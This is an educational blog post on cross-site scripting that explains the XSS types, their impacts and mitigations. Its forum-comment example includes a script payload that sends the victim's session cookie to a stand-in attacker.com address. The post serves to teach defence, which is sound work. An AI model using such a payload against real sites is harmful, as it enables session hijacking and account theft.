Skip to content

Desi banjara

learn and grow together

  • GPT-4 vs. ChatGPT ChatGPT
  • Dynamic Application Security Testing (DAST) Dynamic Application Security Testing (DAST)
  • Microsoft AI-900 Certification Exam Practice Questions -4 Microsoft AI-900 Certification Exam
  • Interview question: What are the types of arrays in C#? C# development
  • Common patterns used in Enterprise application architecture Enterprise application architecture
  • Amazon ECS Amazon ECS
  • What is OutSystems? Low-code development platform
  • AWS DevOps Engineer Professional Exam Practice Questions – 2 Amazon AWS Certification Exam

Cross Site Scripting (XSS)

Posted on March 8, 2023March 8, 2023 By DesiBanjara No Comments on Cross Site Scripting (XSS)

Cross-site scripting (XSS) is a common vulnerability that affects web applications. It is caused by the injection of malicious scripts into a web page viewed by unsuspecting users. These scripts can be used to steal sensitive data, control the victim’s browser, or perform other nefarious actions. In this article, we will explore the different types of XSS attacks, their impact, and mitigation techniques.

Types of XSS Attacks

There are three main types of XSS attacks: stored, reflected, and DOM-based. Each of these attacks has a different method of execution and impact on the target application.

Stored XSS attacks occur when an attacker injects malicious code into a web page that is then stored on the server. This code is executed when a victim visits the page, and the malicious script is rendered in the victim’s browser. The impact of a stored XSS attack can be severe, as the attacker can steal the victim’s session cookies or other sensitive data.

Reflected XSS attacks occur when an attacker injects malicious code into a web page that is then reflected back to the victim’s browser. This type of attack typically requires the attacker to trick the victim into clicking on a link that contains the malicious code. The impact of a reflected XSS attack is typically less severe than a stored XSS attack, but it can still be used to steal sensitive data or control the victim’s browser.

DOM-based XSS attacks occur when an attacker injects malicious code into a web page that is then executed by the victim’s browser. This type of attack is unique in that it does not require the code to be stored on the server or reflected back to the victim’s browser. Instead, the code is executed directly by the victim’s browser, making it difficult to detect and prevent.

Impact of XSS Attacks

XSS attacks can have a significant impact on the target application and its users. Some of the most common impacts of XSS attacks include:

Data theft: XSS attacks can be used to steal sensitive information such as login credentials, credit card details, and personal information. Attackers can use this information for identity theft, financial fraud, or other malicious activities.

Malware injection: XSS attacks can be used to inject malware such as viruses, trojans, or spyware into the victim’s browser. This malware can then infect the victim’s computer and cause a range of negative consequences, including data theft, system damage, and loss of productivity.

Session hijacking: XSS attacks can be used to hijack the victim’s session and take control of their account. Attackers can use this control to perform unauthorised actions such as changing the victim’s password, making unauthorised purchases, or accessing confidential data.

Reputation damage: XSS attacks can damage the reputation of a web application or organisation. If users discover that a web application has been compromised by an XSS attack, they may lose trust in the application and stop using it.

Legal liability: Organisations that are found to be negligent in their handling of XSS attacks may be subject to legal liability. If an organisation fails to take reasonable measures to protect its users from XSS attacks, it may be held responsible for any damages that result from the attack.

Mitigation Techniques

There are several mitigation techniques that can be used to prevent XSS attacks. These techniques include:

  1. Input validation: Input validation can be used to ensure that user input is sanitised and does not contain malicious code. This can be done by validating input on the server-side and client-side.
  2. Output encoding: Output encoding can be used to ensure that any data that is rendered on a web page is properly encoded to prevent XSS attacks. This can be done using functions such as htmlentities() or htmlspecialchars().
  3. Content security policy: A content security policy (CSP) can be used to specify which types of content are allowed to be rendered on a web page. This can help prevent XSS attacks by blocking the execution of any scripts that are not explicitly allowed.
  4. HTTPS: HTTPS can be used to encrypt data between the user’s browser and the web server, which can prevent attackers from intercepting sensitive information.

An example to illustrate how an XSS attack can work in practice.

Suppose there is a web application that allows users to post comments on a public forum. The comments are displayed on the web page and can be viewed by other users.

An attacker notices that the web application does not properly validate user input before displaying it on the page. They decide to exploit this vulnerability by posting a malicious comment that contains an XSS payload.

The attacker crafts the malicious comment in such a way that when it is displayed on the web page, it will execute a script that steals the victim’s session cookie. The script might look something like this:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>

When a user views the comment on the web page, the script will be executed in their browser, and their session cookie will be sent to the attacker’s server. The attacker can then use the session cookie to hijack the victim’s session and take control of their account.

If the attacker is successful, they can use the victim’s account to perform unauthorised actions such as posting spam, stealing data, or performing financial fraud.

This is just one example of how an XSS attack can be carried out. There are many other ways that attackers can exploit XSS vulnerabilities to achieve their goals. It is therefore essential for web developers and organisations to take proactive measures to prevent and mitigate XSS attacks.

Conclusion

Cross-site scripting (XSS) attacks are a common vulnerability that can have a significant impact on web applications and their users. There are several mitigation techniques that can be used to prevent XSS attacks, including input validation, output encoding, content security policies, and HTTPS.

Cross Site Scripting (XSS), Cybersecurity Tags:Content security policy, Cross Site Scripting (XSS), Data theft, DOM-based XSS, HTTPS, Input validation, Legal liability, Malware injection, Output encoding, Reflected XSS, Reputation damage, Session hijacking, Stored XSS, XSS Attacks

Post navigation

Previous Post: Azure Devops – A cloud-based DevOps platform
Next Post: What is Stored XSS?

Related Posts

  • Why cyber breaches are expected to increase? cyber breaches
  • What is Cyber Security? Definition, Challenges & Best Practices Cybersecurity
  • DOM-based XSS Cybersecurity

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *



Archives

  • March 2023
  • February 2023
  • January 2023
  • December 2022
  • November 2022
  • March 2022
  • February 2022
  • June 2021
  • March 2021
  • January 2021
  • December 2020
  • November 2020
  • October 2020
  • September 2020
  • July 2020
  • June 2020
  • April 2020
  • December 2018
  • September 2018
  • August 2018
  • July 2018
  • June 2018
  • May 2018
  • September 2017
  • July 2017
  • May 2017
  • April 2017
  • November 2013

Categories

  • Agile Software development
  • Agile Software development
  • Amazon AWS Certification Exam
  • Amazon EC2
  • Amazon ECS
  • Amazon Web Services
  • Amazon Web Services (AWS)
  • Apache Kafka
  • API development
  • ASP.NET Core
  • ASP.Net MVC
  • ASP.NET Web API
  • Atlassian Jira
  • AWS DevOps Engineer Professional Exam
  • AWS Lambda
  • AZ-300: Microsoft Azure Architect Technologies Exam
  • Azure
  • Azure Active Directory
  • Azure AI and ML services
  • Azure App Service
  • Azure App Services
  • Azure Cognitive Services
  • Azure Compute
  • Azure Data and Storage
  • Azure Data Factory
  • Azure Data Lake Storage
  • Azure Databricks
  • Azure Databricks
  • Azure Defender
  • Azure Devops
  • Azure Functions
  • Azure IaaS
  • Azure Internet of Things (IoT)
  • Azure landing zone
  • Azure Logic Apps
  • Azure Machine Learning
  • Azure Machine Learning
  • Azure Migration
  • Azure Mobile Apps
  • Azure Networking – VNET
  • Azure Networking services
  • Azure Security
  • Azure Security
  • Azure security tools for logging and monitoring
  • Azure Sentinel
  • Azure Sentinel – Data connectors
  • Azure Serverless Computing
  • Azure SQL
  • Azure SQL Database
  • Azure Storage
  • Azure Stream Analytics
  • Azure Synapse Analytics
  • Azure Virtual Machine
  • Azure VNET
  • Business
  • C# development
  • C# interview questions with answers
  • ChatGPT
  • CI/CD pipeline
  • CISSP certification
  • Cloud
  • Cloud computing
  • Cloud services
  • COBIT
  • Command Query Responsibility Segregation (CQRS) Pattern
  • Continuous Integration
  • conversational AI
  • Cross Site Scripting (XSS)
  • cyber breaches
  • Cybersecurity
  • Data Analysis
  • Database
  • DevOps
  • DevSecOps
  • DOM-based XSS
  • Domain-Driven Design (DDD)
  • Dynamic Application Security Testing (DAST)
  • Enterprise application architecture
  • Event-Driven Architecture
  • GIT
  • gmail api
  • Google
  • Google Ads
  • Google AdSense
  • Google Analytics
  • Google analytics interview questions with answers
  • Google Cloud Platform (GCP)
  • Google Docs
  • Google Drive
  • Google search console
  • HTML
  • Information security
  • Infrastructure as a Service (IaaS)
  • Internet of Things (IoT)
  • Interview questions
  • IT governance
  • IT Infrastructure networking
  • IT/Software development
  • Javascript interview questions with answers
  • Layered Pattern
  • Leadership Quote
  • Life lessons
  • Low-code development platform
  • Microservices
  • Microservices
  • Microsoft
  • Microsoft 365 Defender
  • Microsoft AI-900 Certification Exam
  • Microsoft AZ-104 Certification Exam
  • Microsoft AZ-204 Certification Exam
  • Microsoft AZ-900 Certification Exam
  • Microsoft Azure
  • Microsoft Azure certifications
  • Microsoft Azure Log Analytics
  • Microsoft Cloud Adoption Framework
  • Microsoft Exam AZ-220
  • Microsoft Exam AZ-400
  • Microsoft Excel
  • Microsoft Office
  • Microsoft Teams
  • Microsoft word
  • Model-View-Controller (MVC) Pattern
  • Monitoring and analytics
  • NoSQL
  • OpenAI
  • OutSystems
  • PL-100: Microsoft Power Platform App Maker
  • PL-200: Microsoft Power Platform Functional Consultant Certification
  • PL-900: Microsoft Power Platform Fundamentals
  • Platform as a Service (PaaS)
  • postman
  • Postman
  • Project management
  • Python interview questions with answers
  • Ransomware
  • Reflected XSS
  • RESTful APIs
  • SC-100: Microsoft Cybersecurity Architect
  • Scrum Master Certification
  • Service-oriented architecture (SOA)
  • Software architecture
  • Software as a Service (SaaS)
  • SonarQube
  • Splunk
  • SQL
  • SQL Azure Table
  • SQL Server
  • Static Application Security Testing (SAST)
  • Stored XSS attacks
  • Table Storage
  • Test Driven Development (TDD)
  • Top technology trends for 2023
  • User Experience (UX) design
  • WCF (Windows Communication Foundation)
  • Web development
  • Zero Trust strategy



Recent Posts

  • Command Query Responsibility Segregation (CQRS) Pattern
  • Dynamic Application Security Testing (DAST)
  • Static Application Security Testing (SAST)
  • Infrastructure as Code (IaC)
  • Continuous Integration/Continuous Deployment (CI/CD)

Recent Comments

    • Test Driven Development (TDD) Test Driven Development (TDD)
    • How to enable cors in WebApi to handle request from different subdomains? ASP.NET Web API
    • Famous Buddha Quotes on Life Life lessons
    • What are the software/tools available for Continuous Integration? Agile Software development
    • Scrum Master Certification Scrum Master Certification
    • 75 Best inspiring quotes on Leadership Business
    • Azure Services – Data and Storage Azure
    • DOM-based XSS Cybersecurity

    Copyright © 2023 Desi banjara.

    Powered by PressBook News WordPress theme